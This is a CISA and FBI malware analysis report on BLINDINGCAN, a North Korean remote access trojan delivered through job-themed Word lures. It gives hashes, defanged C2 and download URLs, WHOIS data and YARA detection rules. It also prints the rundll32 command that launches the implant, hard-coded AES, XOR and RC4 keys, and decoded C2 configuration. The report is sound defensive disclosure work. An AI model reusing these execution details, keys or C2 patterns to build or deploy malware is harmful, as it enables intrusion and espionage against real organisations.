MAR-10295134-1.v1 – North Korean Remote Access Trojan: BLINDINGCAN | CISA

Published: 2020-08-19 · Archived: 2026-04-05 13:50:56 UTC

Notification

Summary

Description

This Malware Analysis Report (MAR) is the result of analytic efforts between Cybersecurity and Infrastructure Security Agency (CISA) and the Federal Bureau of Investigation (FBI). Working with U.S. Government partners, DHS and FBI identified Remote Access Trojan (RAT) malware variants used by the North Korean government. This malware variant has been identified as BLINDINGCAN. The U.S. Government refers to malicious cyber activity by the North Korean government as HIDDEN COBRA. For more information on HIDDEN COBRA activity, visit https[:]//www[.]us-cert.gov/hiddencobra.

FBI has high confidence that HIDDEN COBRA actors are using malware variants in conjunction with proxy servers to maintain a presence on victim networks and to further network exploitation. A threat group with a nexus to North Korea targeted government contractors early this year to gather intelligence surrounding key military and energy technologies. The malicious documents employed in this campaign used job postings from leading defense contractors as lures and installed a data gathering implant on a victim's system. This campaign utilized compromised infrastructure from multiple countries to host its command and control (C2) infrastructure and distribute implants to a victim's system. CISA and FBI are distributing this MAR to enable network defense and reduce exposure to North Korean government malicious cyber activity.

This MAR includes malware descriptions related to HIDDEN COBRA, suggested response actions and recommended mitigation techniques. Users or administrators should flag activity associated with the malware and report the activity to CISA or the FBI Cyber Watch (CyWatch), and give the activity the highest priority for enhanced mitigation. The threat actor whose activity is described in this report may have included images of logos and products, such as the examples in this report, as a part of a social engineering strategy.

CISA received four Microsoft Word Open Extensible Markup Language (XML) documents (.docx), two Dynamic-Link Libraries (DLLs). The .docx files attempt to connect to external domains for a download. A 32-bit and a 64-bit DLL was submitted that install a 32-bit and a 64-bit DLL named "iconcache.db" respectively. The DLL "iconcache.db" unpacks and executes a variant of Hidden Cobra RAT. It contains built-in functions for remote operations that provide various capabilities on a victim’s system.

For a downloadable copy of IOCs, see MAR-10295134-1.v1.stix.

Submitted Files (6)

0fc12e03ee93d19003b2dd7117a66a3da03bd6177ac6eb396ed52a40be913db6 (0FC12E03EE93D19003B2DD7117A66A...)

158ddb85611b4784b6f5ca7181936b86eb0ec9a3c67562b1d57badd7b7ec2d17 (2_7955fa7ab32773d17e0e94efeea6...)

586d012540ed1244572906e3733a0cb4bba90a320da82f853e5dfac82c5c663e (1_6cea7290883f0527dbd3e2df6446...)

6a3446b8a47f0ab4f536015218b22653fff8b18c595fbc5b0c09d857eba7c7a1 (4_e7aa0237fc3db67a96ebd877806a...)

7933716892e0d6053057f5f2df0ccadf5b06dc739fea79ee533dd0cec98ca971 (3_56470e113479eacda081c2eeead1...)

d40ad4cd39350d718e189adf45703eb3a3935a7cf8062c20c663bc14d28f78c9 (D40AD4CD39350D718E189ADF45703E...)

Additional Files (6)

58027c80c6502327863ddca28c31d352e5707f5903340b9e6ccc0997fcb9631d (58027c80c6502327863ddca28c31d3...)

7d507281e2e21476ff1af492ad9f574b14cbf77eb4cda9b67e4256318c7c6bbd (7d507281e2e21476ff1af492ad9f57...)

8b53b519623b56ab746fdaf14d3eb402e6fa515cde2113a07f5a3b4050e98050 (8b53b519623b56ab746fdaf14d3eb4...)

b70e66d387e42f5f04b69b9eb15306036702ab8a50b16f5403289b5388292db9 (iconcache.db)

bdfd16dc53f5c63da0b68df71c6e61bad300e59fd5748991a6b6a3650f01f9a1 (e7718609577c6e34221b03de7e959a...)

d5186efd8502a3a99a66729cb847d3f4be8937a3fec1c2655b6ea81f57a314f5 (iconcache.db)

Domains (4)

agarwalpropertyconsultants.com

anca-aste.it

automercado.co.cr

curiofirenze.com

IPs (4)

192.99.20.39

199.79.63.24

51.68.152.96

54.241.91.49

Findings

586d012540ed1244572906e3733a0cb4bba90a320da82f853e5dfac82c5c663e

Tags

downloadertrojan

Details

Name	1_6cea7290883f0527dbd3e2df64462684.8d179113e963d81adbf8d39ceff456afac3dae16.docx
Size	184853 bytes
Type	Microsoft Word 2007+
MD5	6cea7290883f0527dbd3e2df64462684
SHA1	8d179113e963d81adbf8d39ceff456afac3dae16
SHA256	586d012540ed1244572906e3733a0cb4bba90a320da82f853e5dfac82c5c663e
SHA512	6d84696445a9339709edc25dfaa36766bcbc1a63aa41386280307a6314c9838a1fb347785becb91346ac9ed8fffe3804e01910e69945c6f41
ssdeep	3072:3wlGjFU9aU5M3Dr+YLLUb6WaTllr+YLLUb6WaTlmv13yK8RZOphF:3wl9aUOfJnUjaTltJnUjaTlmv178RyF
Entropy	6.246619

Antivirus

NANOAV	Exploit.Xml.CVE-2017-0199.equmby

YARA Rules

No matches found.

ssdeep Matches

97	6a3446b8a47f0ab4f536015218b22653fff8b18c595fbc5b0c09d857eba7c7a1

Relationships

586d012540...	Connected_To	agarwalpropertyconsultants.com

Description

This file is a .docx file that is a zipped file containing XML files in a directory structure.

Once opened in an application capable of displaying .docx files, the XML file "1_6cea7290883f0527dbd3e2df64462684.8d179113e963d81adbf8d39ceff456afac3dae16.docx/word/_rels/settings.xml.rels" attempts to connect to the following Uniform Resource Locator (URL) for a download:

--Begin External URL--

hxxps[:]//agarwalpropertyconsultants.com/assets/form/template/img/boeing_ia_cm.jpg

--End External URL--

The download was not available at the time of analysis.

Screenshots

Figure 1 - Screenshot of "1_6cea7290883f0527dbd3e2df64462684.8d179113e963d81adbf8d39ceff456afac3dae16.docx".

agarwalpropertyconsultants.com

Tags

command-and-control

URLs

- hxxps[:]//agarwalpropertyconsultants.com/assets/form/template/img/boeing_ia_cm.jpg

Ports

- 443 TCP

Whois

Domain Name: AGARWALPROPERTYCONSULTANTS.COM

Registry Domain ID: 2430104516_DOMAIN_COM-VRSN

Registrar WHOIS Server: Whois.bigrock.com

Registrar URL: www.bigrock.com

Updated Date: 2019-11-05T02:16:36Z

Creation Date: 2019-09-05T06:07:18Z

Registrar Registration Expiration Date: 2020-09-05T06:07:18Z

Registrar: BigRock Solutions Ltd

Registrar IANA ID: 1495

Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited

Registry Registrant ID: Not Available From Registry

Registrant City: Mumbai

Registrant State/Province: Other

Registrant Postal Code: 400102

Registrant Country: IN

Registry Admin ID: Not Available From Registry

Admin City: Mumbai

Admin State/Province: Other

Admin Postal Code: 400102

Admin Country: IN

Registry Tech ID: Not Available From Registry

Tech City: Mumbai

Tech State/Province: Other

Tech Postal Code: 400102

Tech Country: IN

Tech Phone: +91.9821112012

Name Server: ns1.bh-58.webhostbox.net

Name Server: ns2.bh-58.webhostbox.net

DNSSEC: Unsigned

Registrar Abuse Contact Email: abuse@bigrock.com

Registrar Abuse Contact Phone: +1-415-349-0015

URL of the ICANN WHOIS Data Problem Reporting System: http://wdprs.internic.net/

>>> Last update of WHOIS database: 2020-06-30T20:21:25Z <<<

Relationships

agarwalpropertyconsultants.com	Connected_From	586d012540ed1244572906e3733a0cb4bba90a320da82f853e5dfac82c5c663e
agarwalpropertyconsultants.com	Resolved_To	199.79.63.24

Description

"1_6cea7290883f0527dbd3e2df64462684.8d179113e963d81adbf8d39ceff456afac3dae16.docx" attempts to connect to this domain.

199.79.63.24

Whois

Queried whois.arin.net with "n 199.79.63.24"...

NetRange: 199.79.62.0 - 199.79.63.255

CIDR: 199.79.62.0/23

NetName: PUBLICDOMAINREGISTRY-NETWORKS

NetHandle: NET-199-79-62-0-1

Parent: NET199 (NET-199-0-0-0-0)

NetType: Direct Allocation

OriginAS: AS394695

Organization: PDR (PSUL-1)

RegDate: 2012-01-13

Updated: 2018-11-29

Ref: https://rdap.arin.net/registry/ip/199.79.62.0

OrgName: PDR

OrgId: PSUL-1

Address: P.D.R Solutions LLC, 10, Corporate Drive, Suite 300

City: Burlington

StateProv: MA

PostalCode: 01803

Country: US

RegDate: 2015-08-04

Updated: 2019-11-07

Ref: https://rdap.arin.net/registry/entity/PSUL-1

OrgAbuseHandle: ABUSE5185-ARIN

OrgAbuseName: Abuse Admin

OrgAbusePhone: +1-415-230-0648

OrgAbuseEmail: abuse@publicdomainregistry.com

OrgAbuseRef: https://rdap.arin.net/registry/entity/ABUSE5185-ARIN

OrgNOCHandle: NOC32406-ARIN

OrgNOCName: NOC

OrgNOCPhone: +1-415-230-0680

OrgNOCEmail: noc@publicdomainregistry.com

OrgNOCRef: https://rdap.arin.net/registry/entity/NOC32406-ARIN

OrgTechHandle: TECH953-ARIN

OrgTechName: Tech

OrgTechPhone: +1-415-230-0680

OrgTechEmail: ipadmin@publicdomainregistry.com

OrgTechRef: https://rdap.arin.net/registry/entity/TECH953-ARIN

OrgRoutingHandle: EIGAR-ARIN

OrgRoutingName: eig-arin

OrgRoutingPhone: +1-781-852-3200

OrgRoutingEmail: eig-net-team@endurance.com

OrgRoutingRef: https://rdap.arin.net/registry/entity/EIGAR-ARIN

OrgNOCHandle: EIGAR-ARIN

OrgNOCName: eig-arin

OrgNOCPhone: +1-781-852-3200

OrgNOCEmail: eig-net-team@endurance.com

OrgNOCRef: https://rdap.arin.net/registry/entity/EIGAR-ARIN

OrgDNSHandle: EIGAR-ARIN

OrgDNSName: eig-arin

OrgDNSPhone: +1-781-852-3200

OrgDNSEmail: eig-net-team@endurance.com

OrgDNSRef: https://rdap.arin.net/registry/entity/EIGAR-ARIN

OrgTechHandle: EIGAR-ARIN

OrgTechName: eig-arin

OrgTechPhone: +1-781-852-3200

OrgTechEmail: eig-net-team@endurance.com

OrgTechRef: https://rdap.arin.net/registry/entity/EIGAR-ARIN

Relationships

199.79.63.24	Resolved_To	agarwalpropertyconsultants.com

Description

Domain "agarwalpropertyconsultants.com" resolved to this Internet Protocol (IP) address during analysis.

158ddb85611b4784b6f5ca7181936b86eb0ec9a3c67562b1d57badd7b7ec2d17

Tags

downloaderloadertrojan

Details

Name	2_7955fa7ab32773d17e0e94efeea69cf4.e83cf8a6a4b24bd5d2b8ce4364d79fa8d4db6c6a.docx
Size	521644 bytes
Type	Microsoft Word 2007+
MD5	7955fa7ab32773d17e0e94efeea69cf4
SHA1	e83cf8a6a4b24bd5d2b8ce4364d79fa8d4db6c6a
SHA256	158ddb85611b4784b6f5ca7181936b86eb0ec9a3c67562b1d57badd7b7ec2d17
SHA512	aa773c54a764927c13db914169de9adde26210da8e223d54e206e9fa0b8720ded3d1fbfbbaf13d5cf40a46e1103f90889d6acb86b55515f01
ssdeep	12288:xnCB1YmAjh6oSdUocST5Uqpd4zRgE/CcftnPrqpd4zRgE/CcfI:tmA167dUo1FtpdSgEjlOpdSgEjA
Entropy	7.915680

Antivirus

McAfee	Trojan-FRVP!2F8066356BC3
NANOAV	Exploit.Xml.CVE-2017-0199.equmby

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Relationships

158ddb8561...	Connected_To	anca-aste.it

Description

This is a .docx file that is a zipped container of XML files in a directory structure.

Once opened in an application capable of displaying .docx files, the XML file "2_7955fa7ab32773d17e0e94efeea69cf4.e83cf8a6a4b24bd5d2b8ce4364d79fa8d4db6c6a.docx/word/_rels/settings.xml.rels" attempts to connect to the following URL for a download:

--Begin External URL--

hxxps[:]//www[.]anca-aste.it/uploads/form/boeing_iacm_logo.jpg

--End External URL--

The download was not available at the time of analysis.

Screenshots

Figure 2 - Screenshot of "2_7955fa7ab32773d17e0e94efeea69cf4.e83cf8a6a4b24bd5d2b8ce4364d79fa8d4db6c6a.docx".

7933716892e0d6053057f5f2df0ccadf5b06dc739fea79ee533dd0cec98ca971

Tags

downloaderloadertrojan

Details

Name	3_56470e113479eacda081c2eeead153bf.c70edfaf2c33647d531f7df76cd4e5bb4e79ea2e.docx
Size	521660 bytes
Type	Microsoft Word 2007+
MD5	56470e113479eacda081c2eeead153bf
SHA1	c70edfaf2c33647d531f7df76cd4e5bb4e79ea2e
SHA256	7933716892e0d6053057f5f2df0ccadf5b06dc739fea79ee533dd0cec98ca971
SHA512	0111578f53189915a7f39f755087a283b60196283393d7979bc7a65f462c8af646579a57b0d4693bffdca0ceb92e2bad26720c4418b1cbb21
ssdeep	12288:GaF6pLikGz2wx0zqb/RXkIUsYqpd4zRgE/CcfLqpd4zRgE/CcftKv:GaspLiewxgi/lkIUs5pdSgEj+pdSgEjG
Entropy	7.916144

Antivirus

Ahnlab	Downloader/Doc.Generic
Antiy	Trojan/Win32.Casdet
Avira	W97M/Dldr.Agent.iscqo
BitDefender	Trojan.GenericKD.33913186
ClamAV	Win.Malware.Agent-8366038-0
Comodo	Malware
Cyren	DOCX/Gamaredon.A.gen!Camelot
ESET	DOC/TrojanDownloader.Pterodo.A trojan
Emsisoft	Trojan.GenericKD.33913186 (B)
Ikarus	Trojan-Downloader.DOC.Agent
Lavasoft	Trojan.GenericKD.33913186
McAfee	Trojan-FRVP!AF83AD63D2E3

Microsoft Security Essentials	Trojan:Win32/Casdet!rfn
NANOAV	Exploit.Xml.CVE-2017-0199.equmby
NetGate	Trojan.Win32.Malware
Sophos	Troj/DocDl-ZFL
Symantec	Trojan.Gen.NPE
TrendMicro	Trojan.9A84BBAC
TrendMicro House Call	Trojan.9A84BBAC

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Relationships

7933716892...	Connected_To	anca-aste.it

Description

This is a .docx file that is a zipped container of XML files in a directory structure.

Once opened in an application capable of displaying .docx files, the XML file "3_56470e113479eacda081c2eeead153bf.c70edfaf2c33647d531f7df76cd4e5bb4e79ea2e.docx/word/_rels/settings.xml.rels" attempts to connect to the following URL for a download:

--Begin External URL--

hxxps[:]//www[.]anca-aste.it/uploads/form/boeing_spectrolab_logo.jpg

--End External URL--

The download was not available at the time of analysis.

Screenshots

Figure 3 - Screenshot of "3_56470e113479eacda081c2eeead153bf.c70edfaf2c33647d531f7df76cd4e5bb4e79ea2e.docx".

6a3446b8a47f0ab4f536015218b22653fff8b18c595fbc5b0c09d857eba7c7a1

Tags

downloaderdropperloadertrojan

Details

Name	4_e7aa0237fc3db67a96ebd877806a2c88.0ecc687d741c7b009c648ef0de0a5d47213f37ff.docx
Size	184848 bytes
Type	Microsoft Word 2007+
MD5	e7aa0237fc3db67a96ebd877806a2c88
SHA1	0ecc687d741c7b009c648ef0de0a5d47213f37ff
SHA256	6a3446b8a47f0ab4f536015218b22653fff8b18c595fbc5b0c09d857eba7c7a1
SHA512	771f7e5f68a48e38361f7b1b3c8cc5181a456582515d9b694f98cacd7c33e06dfb994d082c3d009b432fb9f9ecd1f3b194e92b998c203e4e4
ssdeep	3072:3wlGjFU9aU5M3Dr+YLLUb6WaTllr+YLLUb6WaTlmv13fK8RZOphN:3wl9aUOfJnUjaTltJnUjaTlmv1y8RyN

Entropy	6.246580

Antivirus

Ahnlab	Downloader/MSOffice.Generic
Antiy	Trojan[Exploit]/MSOffice.CVE-2017-0199
Avira	W97M/Dldr.Agent.axzdz
ClamAV	Win.Malware.Agent-8366007-0
ESET	DOC/TrojanDownloader.Agent.BHQ trojan
Ikarus	Trojan-Downloader.DOC.Agent
McAfee	Trojan-FRVP!63178C414AF9
Microsoft Security Essentials	Exploit:O97M/CVE-2017-0199!MTB
NANOAV	Exploit.Xml.CVE-2017-0199.equmby
NetGate	Trojan.Win32.Malware
Sophos	Troj/DocDl-YVZ
Symantec	Trojan.Mdropper
TrendMicro	TROJ_FR.9B7AA4A0
TrendMicro House Call	TROJ_FR.9B7AA4A0

YARA Rules

No matches found.

ssdeep Matches

97	586d012540ed1244572906e3733a0cb4bba90a320da82f853e5dfac82c5c663e

Relationships

6a3446b8a4...	Connected_To	anca-aste.it

Description

This is a .docx file that is a zipped container of XML files in a directory structure.

Once opened in an application capable of displaying .docx files, one of its XML files (4_e7aa0237fc3db67a96ebd877806a2c88.0ecc687d741c7b009c648ef0de0a5d47213f37ff.docx/word/_rels/settings.xml.rels) connects to the following URL for a download.

--Begin External URL--

hxxps[:]//www[.]anca-aste.it/uploads/form/boeing_jd_t034519.jpg

--End External URL--

The download was not available at the time of analysis.

Screenshots

Figure 4 - Screenshot of "4_e7aa0237fc3db67a96ebd877806a2c88.0ecc687d741c7b009c648ef0de0a5d47213f37ff.docx".

anca-aste.it

Tags

command-and-control

URLs

- hxxps[:]//www[.]anca-aste.it/uploads/form/boeing_iacm_logo.jpg
- hxxps[:]//www[.]anca-aste.it/uploads/form/boeing_jd_t034519.jpg
- hxxps[:]//www[.]anca-aste.it/uploads/form/boeing_spectrolab_logo.jpg

Ports

- 443 TCP

Whois

Domain: anca-aste.it

Status: ok

Signed: no

Created: 2006-03-02 00:00:00

Last Update: 2019-07-22 01:05:20

Expire Date: 2020-07-06

Registrant

Created: 2017-07-05 14:28:22

Last Update: 2017-07-05 14:28:22

Admin Contact

Name: Gabriele Crepaldi

Organization: Gabriele Crepaldi

Address: Via Della Spiga 52, Milano, 20121, MI, IT

Created: 2017-07-05 14:28:22

Last Update: 2017-07-05 14:28:22

Technical Contacts

Name: hidden

Organization: hidden

Registrar

Organization: CWNET srl

Name: CWNET-REG

Web: http://www.cwnet.it

DNSSEC: no

Nameservers

ns.thetiscloud1.it

ns.thetiscloud2.it

Relationships

anca-aste.it	Resolved_To	51.68.152.96
anca-aste.it	Connected_From	6a3446b8a47f0ab4f536015218b22653fff8b18c595fbc5b0c09d857eba7c7a1
anca-aste.it	Connected_From	158ddb85611b4784b6f5ca7181936b86eb0ec9a3c67562b1d57badd7b7ec2d17

anca-aste.it	Connected_From	7933716892e0d6053057f5f2df0ccadf5b06dc739fea79ee533dd0cec98ca971

Description

Files "2_7955fa7ab32773d17e0e94efeea69cf4.e83cf8a6a4b24bd5d2b8ce4364d79fa8d4db6c6a.docx",

"3_56470e113479eacda081c2eeead153bf.c70edfaf2c33647d531f7df76cd4e5bb4e79ea2e.docx" and

"4_e7aa0237fc3db67a96ebd877806a2c88.0ecc687d741c7b009c648ef0de0a5d47213f37ff.docx" attempt to connect to this domain.

51.68.152.96

Whois

Queried whois.ripe.net with "-B 51.68.152.96"...

% Information related to '51.68.152.0 - 51.68.155.255'

% Abuse contact for '51.68.152.0 - 51.68.155.255' is 'abuse@ovh.net'

inetnum: 51.68.152.0 - 51.68.155.255

netname: SD-1G-WAW1-W13B

country: PL

org: ORG-OS23-RIPE

admin-c: OTC12-RIPE

tech-c: OTC12-RIPE

status: LEGACY

mnt-by: OVH-MNT

created: 2018-07-27T14:04:34Z

last-modified: 2018-07-31T15:24:23Z

source: RIPE

geoloc: 52.225524 21.049737

organisation: ORG-OS23-RIPE

org-name: OVH Sp. z o. o.

org-type: OTHER

address: ul. Swobodna 1

address: 50-088 Wroclaw

address: Poland

e-mail: noc@ovh.net

admin-c: OTC2-RIPE

mnt-ref: OVH-MNT

mnt-by: OVH-MNT

created: 2005-09-02T12:40:01Z

last-modified: 2019-08-08T07:47:57Z

source: RIPE

role: OVH PL Technical Contact

address: OVH Sp. z o. o.

address: ul. Swobodna 1

address: 54-088 Wroclaw

address: Poland

e-mail: noc@ovh.net

admin-c: OK217-RIPE

tech-c: GM84-RIPE

nic-hdl: OTC12-RIPE

abuse-mailbox: abuse@ovh.net

notify: noc@ovh.net

mnt-by: OVH-MNT

created: 2009-09-16T16:09:56Z

last-modified: 2019-08-08T07:50:01Z

source: RIPE

% Information related to '51.68.0.0/16AS16276'

route: 51.68.0.0/16

origin: AS16276

mnt-by: OVH-MNT

created: 2018-03-07T09:22:39Z

last-modified: 2018-03-07T09:22:39Z

source: RIPE

% This query was served by the RIPE Database Query Service version 1.97.2 (HEREFORD)

Relationships

51.68.152.96	Resolved_To	anca-aste.it

Description

Domain "anca-aste.it" resolved to this IP during analysis.

d40ad4cd39350d718e189adf45703eb3a3935a7cf8062c20c663bc14d28f78c9

Tags

droppertrojan

Details

Name	D40AD4CD39350D718E189ADF45703EB3A3935A7CF8062C20C663BC14D28F78C9
Size	724480 bytes
Type	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
MD5	18cfd7e01da5d30a27a885164d5a7b9b
SHA1	40c5103cd9681a2830667957f3e3d037fd25b6c9
SHA256	d40ad4cd39350d718e189adf45703eb3a3935a7cf8062c20c663bc14d28f78c9

SHA512	6724ed963fa7ffd1cb3b76a72890b385bcd080a66428f18531f1432a973896d98e9405bd02952ae81b4a6d6294a73cde5911e9998e4f9dae5
ssdeep	12288:u4VYMsRKftZAli/I9j2OShndRYMaU4vdXScW2EmBYWK323b1zvpjUSqon01y:jwKbA9XSJ4i4vdEGYfahBjk5
Entropy	7.960508

Antivirus

BitDefender	Gen:Trojan.Heur.Su4@!RdqOMbi
Emsisoft	Gen:Trojan.Heur.Su4@!RdqOMbi (B)
Lavasoft	Gen:Trojan.Heur.Su4@!RdqOMbi
Symantec	Heur.AdvML.B

YARA Rules

No matches found.

ssdeep Matches

No matches found.

PE Metadata

Compile Date	2020-05-20 02:03:53-04:00
Import Hash	513e6f9be441b608d02560144adad488

PE Sections

MD5	Name	Raw Size	Entropy
6dead31f52ae9c89182635c7bc5363ff	header	1024	2.447679
4eb9a889d49c201486c6a9844c0a3861	.text	28160	6.512256
2564f80bde6880569bc81d572ffd85c6	.rdata	9216	4.772079
4f06d9f35e1f31817d4205f0cda45316	.data	680448	7.992807
aedd1ea7e39bc6c20eb7c1a31ee31945	.rsrc	512	5.114293
4de4bb5980c9ffde6d9809bca8589667	.reloc	5120	3.162603

Packers/Compilers/Cryptors

Microsoft Visual C++ DLL *sign by CodeRipper

Relationships

d40ad4cd39...	Dropped	b70e66d387e42f5f04b69b9eb15306036702ab8a50b16f5403289b5388292db9

Description

This application is a 32-bit DLL. Upon execution, it decodes an embedded Ultimate Packer for Executables (UPX) packed DLL using a hard-coded XOR key: "0x59". The decoded DLL is installed and executed from "C:\ProgramData\iconcache.db" (b70e66d387e42f5f04b69b9eb15306036702ab8a50b16f5403289b5388292db9) with the following command:

--Begin Command--

"C:\Windows\System32\rundll32.exe C:\ProgramData\iconcache.db,SMain S-6-12-2371-68143633-837395-7851"

--End Command--

b70e66d387e42f5f04b69b9eb15306036702ab8a50b16f5403289b5388292db9

Tags

obfuscatedremote-access-trojan

Details

Name	iconcache.db
Size	676864 bytes
Type	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed
MD5	c627db421adaaa320d3ac42396c89f8a
SHA1	dcf95cd96203e794724fc14e454e63fba9afe82a
SHA256	b70e66d387e42f5f04b69b9eb15306036702ab8a50b16f5403289b5388292db9
SHA512	bcc0a6688b5a282802700382d72e11663015946a95c701df82fdab164b6ef6889e180617a284e604e931ffc046ec1fd20ac6e20357ec916ba
ssdeep	12288:UloPYtyI4lSa/gwZyVJKlI/mjGENKw4tv1ALs7wboS:eoQp4lSWgwZy6lUkh4N2Ls7w
Entropy	7.994989
Path	C:\ProgramData\iconcache.db

Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

No matches found.

PE Metadata

Compile Date	2019-10-30 22:22:32-04:00
Import Hash	bddf350b1495019b036eb25682895735
Company Name	TODO: <Company name>
File Description	TODO: <File description>
Internal Name	MFC_DLL.dll
Legal Copyright	TODO: (c) <Company name>. All rights reserved.
Original Filename	MFC_DLL.dll
Product Name	TODO: <Product name>
Product Version	1.0.0.1

PE Sections

MD5	Name	Raw Size	Entropy
ee27480742e19dfbbedf334ca52aafa5	header	1024	2.713911
d41d8cd98f00b204e9800998ecf8427e	UPX0	0	0.000000
f13bc7e5f532956e1c5490d27d9b9eb0	UPX1	670720	7.999480
80eb6e1fc17919b7444d34b73621166f	.rsrc	5120	3.981460

Packers/Compilers/Cryptors

ACProtect 1.3x - 1.4x DLL -> Risco Software Inc.

Relationships

b70e66d387...	Connected_To	curiofirenze.com
b70e66d387...	Connected_To	automercado.co.cr
b70e66d387...	Dropped_By	d40ad4cd39350d718e189adf45703eb3a3935a7cf8062c20c663bc14d28f78c9
b70e66d387...	Contains	bdfd16dc53f5c63da0b68df71c6e61bad300e59fd5748991a6b6a3650f01f9a1
b70e66d387...	Contains	7d507281e2e21476ff1af492ad9f574b14cbf77eb4cda9b67e4256318c7c6bbd

Description

This application is a 32-bit UPX packed DLL installed by d40ad4cd39350d718e189adf45703eb3a3935a7cf8062c20c663bc14d28f78c9 into the C:\ProgramData\iconcache.db" directory. During execution, it uses the Advanced Encryption Standard (AES) cipher to decrypt and then decompress two embedded DLL binaries "bdfd16dc53f5c63da0b68df71c6e61bad300e59fd5748991a6b6a3650f01f9a1" and "7d507281e2e21476ff1af492ad9f574b14cbf77eb4cda9b67e4256318c7c6bbd" in memory. These binaries are loaded and executed in memory during runtime.

bdfd16dc53f5c63da0b68df71c6e61bad300e59fd5748991a6b6a3650f01f9a1

Tags

backdoorremote-access-trojantrojan

Details

Name	e7718609577c6e34221b03de7e959a8c
Size	163840 bytes
Type	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
MD5	e7718609577c6e34221b03de7e959a8c
SHA1	97d24ac0d773f6260ab512fa496099b3289210db
SHA256	bdfd16dc53f5c63da0b68df71c6e61bad300e59fd5748991a6b6a3650f01f9a1
SHA512	95aab6ef454c364b63002df7949c33602964d0905b4a23511bd9462aa5037c71a933f8bf3a3d650be76926e92bcf39e362a047c2da3da727
ssdeep	1536:/XhDZIPNWfFTIL1uWPgNquuGCoGSfYz57wmF87GbSaW1nqBQlBS4AF3Tlhrim:/xwWmBLPgNZeTSfE5UmfQqT3TlhW
Entropy	5.585632

Antivirus

Ahnlab	Backdoor/Win32.Akdoor
ESET	a variant of Win32/NukeSped.GT trojan
Symantec	Heur.AdvML.B

YARA Rules

- rule CISA_10135536_06 : trojan rat HIDDENCOBRA BLINDINGCAN

  {

    meta:

      Author = "CISA Code & Media Analysis"

```
    Incident = "10135536"
    Date = "2018-05-04"
    Actor = "HiddenCobra"
    Category = "Trojan RAT"
    Family = "BLINDINGCAN"
    Description = "Detects 32bit HiddenCobra BLINDINGCAN Trojan RAT"
    MD5_1 = "f9e6c35dbb62101498ec755152a8a67b"
    SHA256_1 = "1ee75106a9113b116c54e7a5954950065b809e0bb4dd0a91dc76f778508c7954"
    MD5_2 = "d742ba8cf5b24affdf77bc6869da0dc5"
    SHA256_2 = "7dce6f30e974ed97a3ed024d4c62350f9396310603e185a753b63a1f9a2d5799"
    MD5_3 = "aefcd8e98a231bccbc9b2c6d578fc8f3"
    SHA256_3 = "96721e13bae587c75618566111675dec2d61f9f5d16e173e69bb42ad7cb2dd8a"
    MD5_4 = "3a6b48871abbf2a1ce4c89b08bc0b7d8"
    SHA256_4 = "f71d67659baf0569143874d5d1c5a4d655c7d296b2e86be1b8f931c2335c0cd3"
  strings:
    $s0 = { C7 45 EC 0D 06 09 2A C7 45 F0 86 48 86 F7 C7 45 F4 0D 01 01 01 C7 45 F8 05 00 03 82 }
    $s1 = { 50 4D 53 2A 2E 74 6D 70 }
    $s2 = { 79 67 60 3C 77 F9 BA 77 7A 56 1B 68 51 26 11 96 B7 98 71 39 82 B0 81 78 }
  condition:
    any of them
}
```

- rule CISA_10295134_01 : rat trojan HIDDENCOBRA BLINDINGCAN

```
{
  meta:
    Author = "CISA Code & Media Analysis"
    Incident = "10295134"
    Date = "2020-07-28"
    Last_Modified = "20200730_1030"
    Actor = "HiddenCobra"
    Category = "Trojan RAT"
    Family = "BLINDINGCAN"
    Description = "Detects 32 and 64bit HiddenCobra BlindingCan Trojan RAT"
    MD5_1 = "e7718609577c6e34221b03de7e959a8c"
    SHA256_1 = "bdfd16dc53f5c63da0b68df71c6e61bad300e59fd5748991a6b6a3650f01f9a1"
    MD5_2 = "6c2d15114ebdd910a336b6b147512a74"
    SHA256_2 = "58027c80c6502327863ddca28c31d352e5707f5903340b9e6ccc0997fcb9631d"
  strings:
    $s0 = { C7 44 24 20 0D 06 09 2A C7 44 24 24 86 48 86 F7 C7 44 24 28 0D 01 01 01 C7 44 24 2C 05 00 03 82 }
```

```
        $s1 = { C7 45 EC 0D 06 09 2A C7 45 F0 86 48 86 F7 C7 45 F4 0D 01 01 01 C7 45 F8 05 00 03 82 }
    condition:
        $s0 or $s1
}
```

ssdeep Matches

93	5665fa000b3cd52ceae755d35ca698e50cfb9c952cfdc70610b3a262e87be210

PE Metadata

Compile Date	2020-05-19 03:26:30-04:00
Import Hash	920679e3a916eba5c0309f6381f49d76

PE Sections

MD5	Name	Raw Size	Entropy
3c4d32746197a23e043dec30c3f17502	header	1024	2.462178
c7b7bc3bf34654bd45c303561f9359e1	.text	81920	6.658611
a0605f0296280e16d350cf78eb70a0d3	.rdata	25088	6.630270
88750685639a22c3e4bcb15f40390ff9	.data	12800	3.648302
51741feb8529e34f47173f59abe8b19b	.rsrc	512	5.105616
b87183316e04b075a0da8e286b297fdb	.reloc	7680	5.057386

Packers/Compilers/Cryptors

Microsoft Visual C++ DLL *sign by CodeRipper

Relationships

bdfd16dc53...	Contained_Within	b70e66d387e42f5f04b69b9eb15306036702ab8a50b16f5403289b5388292db9
bdfd16dc53...	Connected_To	curiofirenze.com
bdfd16dc53...	Connected_To	automercado.co.cr

Description

This application is a malicious 32-bit DLL unpacked and executed by "b70e66d387e42f5f04b69b9eb15306036702ab8a50b16f5403289b5388292db9". This binary has been identified as a variant of a Hidden Cobra RAT. This file contains embedded configuration data (2704 bytes). The data is decrypted using a hard-coded AES decryption key "XEUFC1L3DF3C2ROU" before being decoded using an XOR cipher. Displayed below is the content of the decoded data:

--Begin configuration data--

hxxps[:]//www[.]automercado.co.cr/empleo/css/main.jsp

hxxps[:]//www[.]automercado.co.cr/empleo/css/main.jsp

hxxps[:]//www[.]automercado.co.cr/empleo/css/main.jsp

hxxps[:]//www[.]curiofirenze.com/include/inc-site.asp

hxxps[:]//www[.]curiofirenze.com/include/inc-site.asp

c:\windows\system32\cmd.exe

%temp%

--End configuration data--

The malware decrypts its strings using a hard-coded RC4 key: "0D 06 09 2A 86 48 86 F7 0D 01 01 01 05 00 03 82". Displayed below are sample decrypted strings observed during analysis:

--Begin decrypted strings--

"Hardware\Description\System\CentralProcessor\0"

"ProcessorNameString"

